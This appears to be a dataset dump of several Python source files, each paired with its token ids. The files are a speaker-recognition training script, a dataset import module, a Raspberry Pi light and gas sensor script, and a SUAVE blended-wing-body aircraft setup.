29906,
29889,
326,
4294,
703,
1688,
613,
3992,
18545,
29889,
726,
29906,
29890,
1526,
703,
29907,
3689,
491,
5783,
13,
1678,
13850,
29906,
29889,
10685,
2558,
29898,
29900,
29897,
13,
2
] |
sid/src/train.py | theScrabi/kaldi_voxceleb_pytorch | 3 | 191144 | <reponame>theScrabi/kaldi_voxceleb_pytorch
#/usr/bin/python3
from sys import argv
print("loading")
import torch
import kaldi_io as kio
import numpy as np
from model import XVectorModel
from torch import nn
from torch import optim
from sys import exit
import os
from math import isnan
from math import floor
from queue import Queue
from threading import Thread
from time import sleep
from utils import shuffle_scp
from utils import get_speaker_id
from utils import read_flavour
from utils import get_labels_and_count
from utils import get_random_frame
from utils import get_speaker_count
speech_length = 400
batch_size = 64
amount_of_speaker = get_speaker_count()
learning_rate = 0.001
train_scp = os.environ['TRAIN_SCP']
spklbl_file_name = "./exp/spklbl"
device = torch.device(os.environ['TRAINING_DEVICE'])
flavour = read_flavour(argv)
if len(argv) < 3:
print("you need to enter a directory for the models")
exit(1)
model_dir = argv[2]
labels, amount_of_speaker = get_labels_and_count(spklbl_file_name)
xmodel = XVectorModel(amount_of_speaker, flavour=flavour, device=device, learning=True).to(device)
optimizer = optim.Adam(xmodel.parameters(), lr=learning_rate)
batch_queue = Queue()
# used for debugging if NaN values start to come up again
#torch.autograd.set_detect_anomaly(True)
def set_speech_length(speech_length):
speech_length = speech_length
def id_to_vector(id):
vector = np.zeros([amount_of_speaker])
vector[id - 1] = 1
return vector
def train_one_batch(batch_x, batch_y, epochnum, batchnum):
optimizer.zero_grad()
x = torch.from_numpy(batch_x).to(device)
target = torch.from_numpy(batch_y).type(torch.long).to(device)
loss, penalty = xmodel(x, target)
(loss + penalty).backward()
optimizer.step()
# train
if isnan(loss):
print("************************** HALT AND CATCH FIRE *****************************")
exit(1)
print("epoch : " + str(epochnum) + " batch: " + str(batchnum) + " Loss is: " + str(float(loss)))
def get_one_batch_with_random_frames(shuffled_scp_file):
batch_x = []
batch_y = []
for key, mat in kio.read_mat_scp(shuffled_scp_file):
if mat.shape[0] >= speech_length:
x = get_random_frame(mat, speech_length)
# y = id_to_vector(labels[get_speaker_id(key)]) # use this for mse loss
y = labels[get_speaker_id(key)] # use this for cross entropy loss
batch_x.append(x)
batch_y.append(y)
if len(batch_x) == 64:
yield (np.array(batch_x), np.array(batch_y))
batch_x = []
batch_y = []
def get_one_batch_with_sequential_frames(shuffled_scp_file):
batch_x = []
batch_y = []
for key, mat in kio.read_mat_scp(shuffled_scp_file):
# y = id_to_vector(labels[get_speaker_id(key)]) # use this for mse loss
y = labels[get_speaker_id(key)] # use this for cross entropy loss
for i in range(0, floor(mat.shape[0] / speech_length)):
start = i * speech_length
stop = start + speech_length
batch_x.append(mat[start:stop])
batch_y.append(y)
if len(batch_x) == 64:
yield (np.array(batch_x), np.array(batch_y))
batch_x = []
batch_y = []
def batch_loader_thread(scp_files):
shuffled_scp_file = shuffle_scp(scp_files)
for batch in get_one_batch_with_sequential_frames(shuffled_scp_file):
batch_queue.put(batch)
def train_epoch(epoch_num, scp_files):
batch_num = 0
t = Thread(target=batch_loader_thread, args=([scp_files]), daemon=True)
t.start()
while t.isAlive():
while not batch_queue.empty():
(batch_x, batch_y) = batch_queue.get()
train_one_batch(batch_x, batch_y, epoch_num, batch_num)
batch_num = batch_num + 1
# if main thread is to fast it gets penalized
sleep(0.01)
def predict_id(x):
batch_x = torch.from_numpy(x)
batch_x = batch_x.unsqueeze(0).to(device)
calc_x = xmodel(batch_x)
return calc_x.cpu().detach().numpy()[0].argmax()
def train(num_of_epochs, scp_files, model_dir=""):
for i in range(0, num_of_epochs):
train_epoch(i, scp_files)
if not model_dir == "":
torch.save(xmodel.state_dict(), model_dir + "/raw_model" + ("%02d" % i) + ".pt")
# training
print("starting")
train(num_of_epochs=20, model_dir=model_dir, scp_files=[train_scp])
| [
1,
529,
276,
1112,
420,
29958,
1552,
4421,
4201,
29875,
29914,
29895,
2741,
29875,
29918,
1365,
29916,
346,
19982,
29918,
2272,
7345,
305,
13,
29937,
29914,
4855,
29914,
2109,
29914,
4691,
29941,
13,
13,
3166,
10876,
1053,
1852,
29894,
13,
13,
2158,
703,
13234,
1159,
13,
5215,
4842,
305,
13,
5215,
413,
2741,
29875,
29918,
601,
408,
413,
601,
13,
5215,
12655,
408,
7442,
13,
3166,
1904,
1053,
5488,
3019,
3195,
13,
3166,
4842,
305,
1053,
302,
29876,
13,
3166,
4842,
305,
1053,
5994,
13,
3166,
10876,
1053,
6876,
13,
5215,
2897,
13,
3166,
5844,
1053,
3508,
273,
13,
3166,
5844,
1053,
11904,
13,
3166,
9521,
1053,
5462,
434,
13,
3166,
3244,
292,
1053,
10480,
13,
3166,
931,
1053,
8709,
13,
3166,
3667,
29879,
1053,
528,
21897,
29918,
1557,
29886,
13,
3166,
3667,
29879,
1053,
679,
29918,
5965,
5790,
29918,
333,
13,
3166,
3667,
29879,
1053,
1303,
29918,
29888,
4112,
473,
13,
3166,
3667,
29879,
1053,
679,
29918,
21134,
29918,
392,
29918,
2798,
13,
3166,
3667,
29879,
1053,
679,
29918,
8172,
29918,
2557,
13,
3166,
3667,
29879,
1053,
679,
29918,
5965,
5790,
29918,
2798,
13,
13,
13,
13,
5965,
5309,
29918,
2848,
353,
29871,
29946,
29900,
29900,
13,
16175,
29918,
2311,
353,
29871,
29953,
29946,
13,
14506,
29918,
974,
29918,
5965,
5790,
353,
679,
29918,
5965,
5790,
29918,
2798,
580,
13,
21891,
29918,
10492,
353,
29871,
29900,
29889,
29900,
29900,
29896,
13,
14968,
29918,
1557,
29886,
353,
2897,
29889,
21813,
1839,
29911,
4717,
1177,
29918,
29903,
6271,
2033,
13,
1028,
6321,
2204,
29918,
1445,
29918,
978,
353,
376,
6904,
4548,
29914,
1028,
6321,
2204,
29908,
13,
10141,
353,
4842,
305,
29889,
10141,
29898,
359,
29889,
21813,
1839,
29911,
4717,
1177,
4214,
29918,
2287,
19059,
11287,
13,
13,
13,
29888,
4112,
473,
353,
1303,
29918,
29888,
4112,
473,
29898,
19218,
29897,
13,
13,
361,
7431,
29898,
19218,
29897,
529,
29871,
29941,
29901,
13,
1678,
1596,
703,
6293,
817,
304,
3896,
263,
3884,
363,
278,
4733,
1159,
13,
1678,
6876,
29898,
29896,
29897,
13,
4299,
29918,
3972,
353,
1852,
29894,
29961,
29906,
29962,
13,
13,
21134,
29892,
5253,
29918,
974,
29918,
5965,
5790,
353,
679,
29918,
21134,
29918,
392,
29918,
2798,
29898,
1028,
6321,
2204,
29918,
1445,
29918,
978,
29897,
13,
29916,
4299,
353,
5488,
3019,
3195,
29898,
14506,
29918,
974,
29918,
5965,
5790,
29892,
21054,
473,
29922,
29888,
4112,
473,
29892,
4742,
29922,
10141,
29892,
6509,
29922,
5574,
467,
517,
29898,
10141,
29897,
13,
20640,
3950,
353,
5994,
29889,
3253,
314,
29898,
29916,
4299,
29889,
16744,
3285,
301,
29878,
29922,
21891,
29918,
10492,
29897,
13,
13,
16175,
29918,
9990,
353,
5462,
434,
580,
13,
29871,
13,
29937,
1304,
363,
13490,
565,
18780,
1819,
1369,
304,
2041,
701,
1449,
13,
29937,
7345,
305,
29889,
1300,
468,
3665,
29889,
842,
29918,
4801,
522,
29918,
273,
290,
14997,
29898,
5574,
29897,
13,
13,
1753,
731,
29918,
5965,
5309,
29918,
2848,
29898,
5965,
5309,
29918,
2848,
1125,
13,
1678,
12032,
29918,
2848,
353,
12032,
29918,
2848,
13,
13,
13,
1753,
1178,
29918,
517,
29918,
8111,
29898,
333,
1125,
13,
1678,
4608,
353,
7442,
29889,
3298,
359,
4197,
14506,
29918,
974,
29918,
5965,
5790,
2314,
13,
1678,
4608,
29961,
333,
448,
29871,
29896,
29962,
353,
29871,
29896,
13,
1678,
736,
4608,
13,
13,
13,
1753,
7945,
29918,
650,
29918,
16175,
29898,
16175,
29918,
29916,
29892,
9853,
29918,
29891,
29892,
21502,
305,
1949,
29892,
9853,
1949,
1125,
13,
1678,
5994,
3950,
29889,
9171,
29918,
5105,
580,
13,
1678,
921,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
16175,
29918,
29916,
467,
517,
29898,
10141,
29897,
13,
1678,
3646,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
16175,
29918,
29891,
467,
1853,
29898,
7345,
305,
29889,
5426,
467,
517,
29898,
10141,
29897,
13,
1678,
6410,
29892,
27368,
353,
921,
4299,
29898,
29916,
29892,
3646,
29897,
13,
13,
1678,
313,
6758,
718,
27368,
467,
1627,
1328,
580,
13,
1678,
5994,
3950,
29889,
10568,
580,
13,
13,
1678,
396,
7945,
13,
1678,
565,
3508,
273,
29898,
6758,
1125,
13,
4706,
1596,
703,
7775,
4189,
1068,
379,
1964,
29911,
5300,
315,
14789,
9338,
1525,
334,
7775,
4189,
2328,
1159,
13,
4706,
6876,
29898,
29896,
29897,
13,
13,
1678,
1596,
703,
1022,
2878,
584,
376,
718,
851,
29898,
1022,
2878,
1949,
29897,
718,
376,
9853,
29901,
376,
718,
851,
29898,
16175,
1949,
29897,
718,
376,
365,
2209,
338,
29901,
376,
718,
851,
29898,
7411,
29898,
6758,
4961,
13,
13,
1753,
679,
29918,
650,
29918,
16175,
29918,
2541,
29918,
8172,
29918,
19935,
29898,
845,
3096,
839,
29918,
1557,
29886,
29918,
1445,
1125,
13,
1678,
9853,
29918,
29916,
353,
5159,
13,
1678,
9853,
29918,
29891,
353,
5159,
13,
1678,
363,
1820,
29892,
1775,
297,
413,
601,
29889,
949,
29918,
2922,
29918,
1557,
29886,
29898,
845,
3096,
839,
29918,
1557,
29886,
29918,
1445,
1125,
13,
4706,
565,
1775,
29889,
12181,
29961,
29900,
29962,
6736,
12032,
29918,
2848,
29901,
13,
9651,
921,
353,
679,
29918,
8172,
29918,
2557,
29898,
2922,
29892,
12032,
29918,
2848,
29897,
13,
9651,
396,
343,
353,
1178,
29918,
517,
29918,
8111,
29898,
21134,
29961,
657,
29918,
5965,
5790,
29918,
333,
29898,
1989,
29897,
2314,
396,
671,
445,
363,
286,
344,
6410,
13,
9651,
343,
353,
11073,
29961,
657,
29918,
5965,
5790,
29918,
333,
29898,
1989,
4638,
396,
671,
445,
363,
4891,
24687,
6410,
13,
9651,
9853,
29918,
29916,
29889,
4397,
29898,
29916,
29897,
13,
9651,
9853,
29918,
29891,
29889,
4397,
29898,
29891,
29897,
13,
9651,
565,
7431,
29898,
16175,
29918,
29916,
29897,
1275,
29871,
29953,
29946,
29901,
13,
18884,
7709,
313,
9302,
29889,
2378,
29898,
16175,
29918,
29916,
511,
7442,
29889,
2378,
29898,
16175,
29918,
29891,
876,
13,
18884,
9853,
29918,
29916,
353,
5159,
13,
18884,
9853,
29918,
29891,
353,
5159,
13,
13,
13,
1753,
679,
29918,
650,
29918,
16175,
29918,
2541,
29918,
6831,
2556,
29918,
19935,
29898,
845,
3096,
839,
29918,
1557,
29886,
29918,
1445,
1125,
13,
1678,
9853,
29918,
29916,
353,
5159,
13,
1678,
9853,
29918,
29891,
353,
5159,
13,
1678,
363,
1820,
29892,
1775,
297,
413,
601,
29889,
949,
29918,
2922,
29918,
1557,
29886,
29898,
845,
3096,
839,
29918,
1557,
29886,
29918,
1445,
1125,
13,
4706,
396,
343,
353,
1178,
29918,
517,
29918,
8111,
29898,
21134,
29961,
657,
29918,
5965,
5790,
29918,
333,
29898,
1989,
29897,
2314,
396,
671,
445,
363,
286,
344,
6410,
13,
4706,
343,
353,
11073,
29961,
657,
29918,
5965,
5790,
29918,
333,
29898,
1989,
4638,
396,
671,
445,
363,
4891,
24687,
6410,
13,
4706,
363,
474,
297,
3464,
29898,
29900,
29892,
11904,
29898,
2922,
29889,
12181,
29961,
29900,
29962,
847,
12032,
29918,
2848,
22164,
13,
9651,
1369,
353,
474,
334,
12032,
29918,
2848,
13,
9651,
5040,
353,
1369,
718,
12032,
29918,
2848,
13,
9651,
9853,
29918,
29916,
29889,
4397,
29898,
2922,
29961,
2962,
29901,
9847,
2314,
13,
9651,
9853,
29918,
29891,
29889,
4397,
29898,
29891,
29897,
13,
9651,
565,
7431,
29898,
16175,
29918,
29916,
29897,
1275,
29871,
29953,
29946,
29901,
13,
18884,
7709,
313,
9302,
29889,
2378,
29898,
16175,
29918,
29916,
511,
7442,
29889,
2378,
29898,
16175,
29918,
29891,
876,
13,
18884,
9853,
29918,
29916,
353,
5159,
13,
18884,
9853,
29918,
29891,
353,
5159,
13,
13,
13,
13,
1753,
9853,
29918,
12657,
29918,
7097,
29898,
1557,
29886,
29918,
5325,
1125,
13,
1678,
528,
3096,
839,
29918,
1557,
29886,
29918,
1445,
353,
528,
21897,
29918,
1557,
29886,
29898,
1557,
29886,
29918,
5325,
29897,
13,
1678,
363,
9853,
297,
679,
29918,
650,
29918,
16175,
29918,
2541,
29918,
6831,
2556,
29918,
19935,
29898,
845,
3096,
839,
29918,
1557,
29886,
29918,
1445,
1125,
13,
4706,
9853,
29918,
9990,
29889,
649,
29898,
16175,
29897,
13,
632,
13,
13,
1753,
7945,
29918,
1022,
2878,
29898,
1022,
2878,
29918,
1949,
29892,
885,
29886,
29918,
5325,
1125,
13,
1678,
9853,
29918,
1949,
353,
29871,
29900,
13,
1678,
260,
353,
10480,
29898,
5182,
29922,
16175,
29918,
12657,
29918,
7097,
29892,
6389,
29922,
4197,
1557,
29886,
29918,
5325,
11724,
1146,
9857,
29922,
5574,
29897,
13,
1678,
260,
29889,
2962,
580,
13,
1678,
1550,
260,
29889,
275,
29909,
9258,
7295,
13,
4706,
1550,
451,
9853,
29918,
9990,
29889,
6310,
7295,
13,
9651,
313,
16175,
29918,
29916,
29892,
9853,
29918,
29891,
29897,
353,
9853,
29918,
9990,
29889,
657,
580,
13,
9651,
7945,
29918,
650,
29918,
16175,
29898,
16175,
29918,
29916,
29892,
9853,
29918,
29891,
29892,
21502,
305,
29918,
1949,
29892,
9853,
29918,
1949,
29897,
13,
9651,
9853,
29918,
1949,
353,
9853,
29918,
1949,
718,
29871,
29896,
13,
4706,
396,
565,
1667,
3244,
338,
304,
5172,
372,
4947,
6584,
284,
1891,
13,
4706,
8709,
29898,
29900,
29889,
29900,
29896,
29897,
13,
308,
13,
1753,
8500,
29918,
333,
29898,
29916,
1125,
13,
1678,
9853,
29918,
29916,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
29916,
29897,
13,
1678,
9853,
29918,
29916,
353,
9853,
29918,
29916,
29889,
6948,
802,
29872,
911,
29898,
29900,
467,
517,
29898,
10141,
29897,
13,
1678,
22235,
29918,
29916,
353,
921,
4299,
29898,
16175,
29918,
29916,
29897,
13,
1678,
736,
22235,
29918,
29916,
29889,
21970,
2141,
4801,
496,
2141,
23749,
580,
29961,
29900,
1822,
1191,
3317,
580,
13,
13,
1753,
7945,
29898,
1949,
29918,
974,
29918,
1022,
2878,
29879,
29892,
885,
29886,
29918,
5325,
29892,
1904,
29918,
3972,
13776,
1125,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
954,
29918,
974,
29918,
1022,
2878,
29879,
1125,
13,
4706,
7945,
29918,
1022,
2878,
29898,
29875,
29892,
885,
29886,
29918,
5325,
29897,
13,
4706,
565,
451,
1904,
29918,
3972,
1275,
376,
1115,
13,
9651,
4842,
305,
29889,
7620,
29898,
29916,
4299,
29889,
3859,
29918,
8977,
3285,
1904,
29918,
3972,
718,
5591,
1610,
29918,
4299,
29908,
718,
4852,
29995,
29900,
29906,
29881,
29908,
1273,
474,
29897,
718,
11393,
415,
1159,
13,
13,
29937,
6694,
29871,
13,
13,
2158,
703,
2962,
292,
1159,
13,
14968,
29898,
1949,
29918,
974,
29918,
1022,
2878,
29879,
29922,
29906,
29900,
29892,
29871,
1904,
29918,
3972,
29922,
4299,
29918,
3972,
29892,
885,
29886,
29918,
5325,
11759,
14968,
29918,
1557,
29886,
2314,
13,
13,
2
] |
lib/dataset/__init__.py | Amberrferr/Faster_RCNN_for_DOTA | 0 | 138027 | from dataset.imdb import IMDB
from dataset.pascal_voc import PascalVOC
from dataset.cityscape import CityScape
from dataset.coco import coco
from dataset.DOTA import DOTA_oriented,DOTA
from dataset.UCAS import UCAS
| [
1,
515,
8783,
29889,
326,
2585,
1053,
22313,
4051,
13,
3166,
8783,
29889,
18182,
1052,
29918,
29894,
542,
1053,
29671,
29963,
20166,
13,
3166,
8783,
29889,
12690,
29879,
5738,
1053,
4412,
29903,
5738,
13,
3166,
8783,
29889,
29883,
6235,
1053,
274,
6235,
13,
3166,
8783,
29889,
29928,
2891,
29909,
1053,
360,
2891,
29909,
29918,
12236,
287,
29892,
29928,
2891,
29909,
13,
3166,
8783,
29889,
23129,
3289,
1053,
501,
29907,
3289,
13,
2
] |
light_gas.py | mmaasrani/Tripoli-from-a-dream-to-reality | 0 | 126579 | <gh_stars>0
#Raspberry Pi Potentiometer Circuit Code
import RPi.GPIO as GPIO
import botbook_mcp3002 as mcp
import time
LED = 40
lightvalue = 0
GPIO.setmode(GPIO.BOARD)
GPIO.setup(LED, GPIO.OUT)
while True:
lightvalue = mcp.readAnalog(0,0)
gasValue = mcp.readAnalog(0,1)
print "LightValue = ", lightvalue, "CO Gas Value= ", gasValue
time.sleep( 0.2)
if (lightvalue <=700):
GPIO.output(LED, GPIO.HIGH)
elif (lightvalue >700):
GPIO.output(LED, GPIO.LOW)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
29934,
4692,
16344,
7362,
10173,
7268,
8328,
12594,
3121,
5920,
30004,
13,
5215,
390,
12197,
29889,
29954,
2227,
29949,
408,
402,
2227,
29949,
30004,
13,
5215,
9225,
2909,
29918,
29885,
6814,
29941,
29900,
29900,
29906,
408,
286,
6814,
30004,
13,
5215,
931,
30004,
13,
30004,
13,
20566,
353,
29871,
29946,
29900,
30004,
13,
4366,
1767,
353,
29871,
29900,
30004,
13,
30004,
13,
29954,
2227,
29949,
29889,
842,
8513,
29898,
29954,
2227,
29949,
29889,
8456,
17011,
8443,
13,
29954,
2227,
29949,
29889,
14669,
29898,
20566,
29892,
402,
2227,
29949,
29889,
12015,
8443,
13,
30004,
13,
1678,
6756,
13,
8000,
5852,
29901,
30004,
13,
1678,
3578,
1767,
353,
286,
6814,
29889,
949,
21067,
468,
29898,
29900,
29892,
29900,
8443,
13,
1678,
10489,
1917,
353,
286,
6814,
29889,
949,
21067,
468,
29898,
29900,
29892,
29896,
8443,
13,
1678,
1596,
376,
20769,
1917,
353,
9162,
3578,
1767,
29892,
376,
3217,
19141,
7865,
29922,
9162,
10489,
1917,
30004,
13,
1678,
931,
29889,
17059,
29898,
29871,
29900,
29889,
29906,
8443,
13,
1678,
565,
313,
4366,
1767,
5277,
29955,
29900,
29900,
1125,
30004,
13,
4706,
402,
2227,
29949,
29889,
4905,
29898,
20566,
29892,
402,
2227,
29949,
29889,
29950,
6259,
29950,
8443,
13,
1678,
25342,
313,
4366,
1767,
1405,
29955,
29900,
29900,
1125,
30004,
13,
4706,
402,
2227,
29949,
29889,
4905,
29898,
20566,
29892,
402,
2227,
29949,
29889,
27998,
8443,
13,
2
] |
SUAVE/SUAVE-2.5.0/regression/scripts/Vehicles/BWB.py | Vinicius-Tanigawa/Undergraduate-Research-Project | 0 | 67973 | <filename>SUAVE/SUAVE-2.5.0/regression/scripts/Vehicles/BWB.py
# BWB.py
#
# Created: Aug 2014, <NAME>
# Modified: Jan 2019, <NAME>
# ----------------------------------------------------------------------
# Imports
# ----------------------------------------------------------------------
import SUAVE
from SUAVE.Core import Units
import numpy as np
import pylab as plt
import copy, time
from SUAVE.Core import (
Data, Container
)
from SUAVE.Methods.Propulsion.turbofan_sizing import turbofan_sizing
from SUAVE.Methods.Geometry.Two_Dimensional.Cross_Section.Propulsion import compute_turbofan_geometry
# ----------------------------------------------------------------------
# Define the Vehicle
# ----------------------------------------------------------------------
def vehicle_setup():
# ------------------------------------------------------------------
# Initialize the Vehicle
# ------------------------------------------------------------------
vehicle = SUAVE.Vehicle()
vehicle.tag = 'BWB'
# ------------------------------------------------------------------
# Vehicle-level Properties
# ------------------------------------------------------------------
# mass properties
vehicle.mass_properties.max_takeoff = 79015.8 # kg
vehicle.mass_properties.takeoff = 79015.8 # kg
vehicle.mass_properties.max_zero_fuel = 0.9 * vehicle.mass_properties.max_takeoff
vehicle.mass_properties.cargo = 10000. * Units.kilogram
# envelope properties
vehicle.envelope.ultimate_load = 2.5
vehicle.envelope.limit_load = 1.5
# basic parameters
vehicle.reference_area = 125.0
vehicle.passengers = 170
vehicle.systems.control = "fully powered"
vehicle.systems.accessories = "sst"
# ------------------------------------------------------------------
# Main Wing
# ------------------------------------------------------------------
wing = SUAVE.Components.Wings.Main_Wing()
wing.tag = 'main_wing'
wing.aspect_ratio = 5.86 #12.
wing.sweeps.quarter_chord = 15. * Units.deg
wing.thickness_to_chord = 0.14
wing.taper = 0.1
wing.dihedral = 3.0 * Units.degrees
wing.spans.projected = 39.0
wing.chords.root = 17.0
wing.chords.tip = 1.0
wing.chords.mean_aerodynamic = (2.0/3.0)*(wing.chords.root + wing.chords.root -(wing.chords.root*wing.chords.root)/(wing.chords.root+wing.chords.root))
wing.areas.reference = 259.4
wing.twists.root = 1.0 * Units.degrees
wing.twists.tip = -4.0 * Units.degrees
wing.origin = [3.,0.,-.25]
wing.aerodynamic_center = [3,0,-.25]
wing.vertical = False
wing.symmetric = True
wing.high_lift = True
wing.dynamic_pressure_ratio = 1.0
segment = SUAVE.Components.Wings.Segment()
segment.tag = 'fuselage_edge'
segment.percent_span_location = 7.0/wing.spans.projected
segment.twist = -2. * Units.deg
segment.root_chord_percent = 0.88
segment.dihedral_outboard = 10.0 * Units.deg
segment.sweeps.quarter_chord = 40.0*Units.deg
segment.thickness_to_chord = 0.18
wing.Segments.append(segment)
segment = SUAVE.Components.Wings.Segment()
segment.tag = 'Outboard'
segment.percent_span_location = 0.3
segment.twist = 0.0 * Units.deg
segment.root_chord_percent = 0.35
segment.dihedral_outboard = 4.0 * Units.deg
segment.sweeps.quarter_chord = 20.0 * Units.deg
segment.thickness_to_chord = 0.1
wing.Segments.append(segment)
# add to vehicle
vehicle.append_component(wing)
# ------------------------------------------------------------------
# Fuselage
# ------------------------------------------------------------------
fuselage = SUAVE.Components.Fuselages.Fuselage()
fuselage.tag = 'fuselage_bwb'
fuselage.fineness.nose = 0.65
fuselage.fineness.tail = 0.5
fuselage.lengths.nose = 4.0
fuselage.lengths.tail = 4.0
fuselage.lengths.cabin = 12.0
fuselage.lengths.total = 22.0
fuselage.lengths.fore_space = 1.0
fuselage.lengths.aft_space = 1.0
fuselage.width = 8.0
fuselage.heights.maximum = 3.8
fuselage.heights.at_quarter_length = 3.7
fuselage.heights.at_three_quarters_length = 2.5
fuselage.heights.at_wing_root_quarter_chord = 4.0
fuselage.areas.side_projected = 100.
fuselage.areas.wetted = 400.
fuselage.areas.front_projected = 40.
R = (fuselage.heights.maximum-fuselage.width)/(fuselage.heights.maximum-fuselage.width)
fuselage.effective_diameter = (fuselage.width/2 + fuselage.heights.maximum/2.)*(64.-3.*R**4.)/(64.-16.*R**2.)
fuselage.differential_pressure = 5.0e4 * Units.pascal # Maximum differential pressure
# add to vehicle
vehicle.append_component(fuselage)
# ------------------------------------------------------------------
# Turbofan Network
# ------------------------------------------------------------------
#instantiate the gas turbine network
turbofan = SUAVE.Components.Energy.Networks.Turbofan()
turbofan.tag = 'turbofan'
# setup
turbofan.number_of_engines = 2.0
turbofan.sealevel_static_thrust = 2* 10000 *Units.N
# add gas turbine network gt_engine to the vehicle
vehicle.append_component(turbofan)
# ------------------------------------------------------------------
# Vehicle Definition Complete
# ------------------------------------------------------------------
return vehicle
# ----------------------------------------------------------------------
# Define the Configurations
# ---------------------------------------------------------------------
def configs_setup(vehicle):
# ------------------------------------------------------------------
# Initialize Configurations
# ------------------------------------------------------------------
configs = SUAVE.Components.Configs.Config.Container()
base_config = SUAVE.Components.Configs.Config(vehicle)
base_config.tag = 'base'
configs.append(base_config)
# done!
return configs | [
1,
529,
9507,
29958,
14605,
7520,
29923,
29914,
14605,
7520,
29923,
29899,
29906,
29889,
29945,
29889,
29900,
29914,
276,
11476,
29914,
16713,
29914,
29963,
14797,
4027,
29914,
29933,
29956,
29933,
29889,
2272,
13,
29937,
350,
29956,
29933,
29889,
2272,
13,
29937,
29871,
13,
29937,
6760,
630,
29901,
29871,
22333,
29871,
29906,
29900,
29896,
29946,
29892,
529,
5813,
29958,
13,
29937,
3382,
2164,
29901,
2627,
29871,
29906,
29900,
29896,
29929,
29892,
529,
5813,
29958,
13,
13,
29937,
448,
2683,
2683,
2683,
2683,
23648,
13,
29937,
259,
1954,
4011,
13,
29937,
448,
2683,
2683,
2683,
2683,
23648,
13,
5215,
20134,
7520,
29923,
13,
3166,
20134,
7520,
29923,
29889,
9203,
1053,
28386,
13,
5215,
12655,
408,
7442,
13,
5215,
282,
2904,
370,
408,
14770,
13,
5215,
3509,
29892,
931,
13,
13,
3166,
20134,
7520,
29923,
29889,
9203,
1053,
313,
13,
1469,
29892,
21679,
13,
29897,
13,
13,
3166,
20134,
7520,
29923,
29889,
26112,
29889,
20420,
25381,
29889,
29873,
332,
833,
12963,
29918,
29879,
5281,
1053,
7013,
833,
12963,
29918,
29879,
5281,
13,
3166,
20134,
7520,
29923,
29889,
26112,
29889,
7999,
7843,
29889,
13985,
29918,
16142,
8180,
29889,
29907,
2124,
29918,
13438,
29889,
20420,
25381,
1053,
10272,
29918,
29873,
332,
833,
12963,
29918,
19156,
13,
29937,
448,
2683,
2683,
2683,
2683,
23648,
13,
29937,
259,
22402,
278,
8980,
29882,
2512,
13,
29937,
448,
2683,
2683,
2683,
2683,
23648,
13,
13,
1753,
19716,
29918,
14669,
7295,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
396,
259,
25455,
278,
8980,
29882,
2512,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
268,
13,
13,
1678,
19716,
353,
20134,
7520,
29923,
29889,
29963,
14797,
2512,
580,
13,
1678,
19716,
29889,
4039,
353,
525,
29933,
29956,
29933,
29915,
268,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
396,
259,
8980,
29882,
2512,
29899,
5563,
21582,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
268,
13,
13,
1678,
396,
4158,
4426,
13,
1678,
19716,
29889,
25379,
29918,
11330,
29889,
3317,
29918,
19730,
2696,
1678,
353,
29871,
29955,
29929,
29900,
29896,
29945,
29889,
29947,
259,
396,
12118,
13,
1678,
19716,
29889,
25379,
29918,
11330,
29889,
19730,
2696,
4706,
353,
29871,
29955,
29929,
29900,
29896,
29945,
29889,
29947,
259,
396,
12118,
13,
1678,
19716,
29889,
25379,
29918,
11330,
29889,
3317,
29918,
9171,
29918,
29888,
2491,
29871,
353,
29871,
29900,
29889,
29929,
334,
19716,
29889,
25379,
29918,
11330,
29889,
3317,
29918,
19730,
2696,
13,
1678,
19716,
29889,
25379,
29918,
11330,
29889,
29883,
7921,
3986,
353,
29871,
29896,
29900,
29900,
29900,
29900,
29889,
29871,
334,
28386,
29889,
16757,
13342,
1678,
13,
13,
1678,
396,
427,
21367,
4426,
13,
1678,
19716,
29889,
264,
21367,
29889,
499,
6490,
29918,
1359,
308,
353,
29871,
29906,
29889,
29945,
13,
1678,
19716,
29889,
264,
21367,
29889,
13400,
29918,
1359,
9651,
353,
29871,
29896,
29889,
29945,
13,
462,
462,
9651,
13,
1678,
396,
6996,
4128,
462,
418,
13,
1678,
19716,
29889,
5679,
29918,
6203,
462,
353,
29871,
29896,
29906,
29945,
29889,
29900,
418,
13,
1678,
19716,
29889,
3364,
21709,
462,
268,
353,
29871,
29896,
29955,
29900,
13,
1678,
19716,
29889,
5205,
29879,
29889,
6451,
18884,
353,
376,
3730,
3081,
287,
29908,
29871,
13,
1678,
19716,
29889,
5205,
29879,
29889,
5943,
3842,
9651,
353,
376,
29879,
303,
29908,
13,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
308,
13,
1678,
396,
259,
4241,
27792,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
308,
13,
13,
1678,
21612,
353,
20134,
7520,
29923,
29889,
25503,
29889,
29956,
886,
29889,
6330,
29918,
29956,
292,
580,
13,
1678,
21612,
29889,
4039,
353,
525,
3396,
29918,
16958,
29915,
13,
268,
13,
268,
13,
1678,
21612,
29889,
294,
1103,
29918,
3605,
601,
9651,
353,
29871,
29945,
29889,
29947,
29953,
396,
29896,
29906,
29889,
13,
1678,
21612,
29889,
29879,
705,
8961,
29889,
339,
4254,
29918,
305,
536,
1678,
353,
29871,
29896,
29945,
29889,
334,
28386,
29889,
12163,
13,
1678,
21612,
29889,
27996,
2264,
29918,
517,
29918,
305,
536,
418,
353,
29871,
29900,
29889,
29896,
29946,
13,
1678,
21612,
29889,
29873,
7202,
462,
259,
353,
29871,
29900,
29889,
29896,
13,
1678,
21612,
29889,
29881,
4861,
287,
1705,
18884,
353,
29871,
29941,
29889,
29900,
334,
28386,
29889,
311,
7979,
267,
13,
1678,
21612,
29889,
1028,
550,
29889,
4836,
287,
308,
353,
29871,
29941,
29929,
29889,
29900,
13,
1678,
21612,
29889,
305,
4339,
29889,
4632,
632,
353,
29871,
29896,
29955,
29889,
29900,
13,
1678,
21612,
29889,
305,
4339,
29889,
12632,
795,
353,
29871,
29896,
29889,
29900,
13,
1678,
21612,
29889,
305,
4339,
29889,
12676,
29918,
29874,
261,
397,
8739,
353,
313,
29906,
29889,
29900,
29914,
29941,
29889,
29900,
11877,
29898,
16958,
29889,
305,
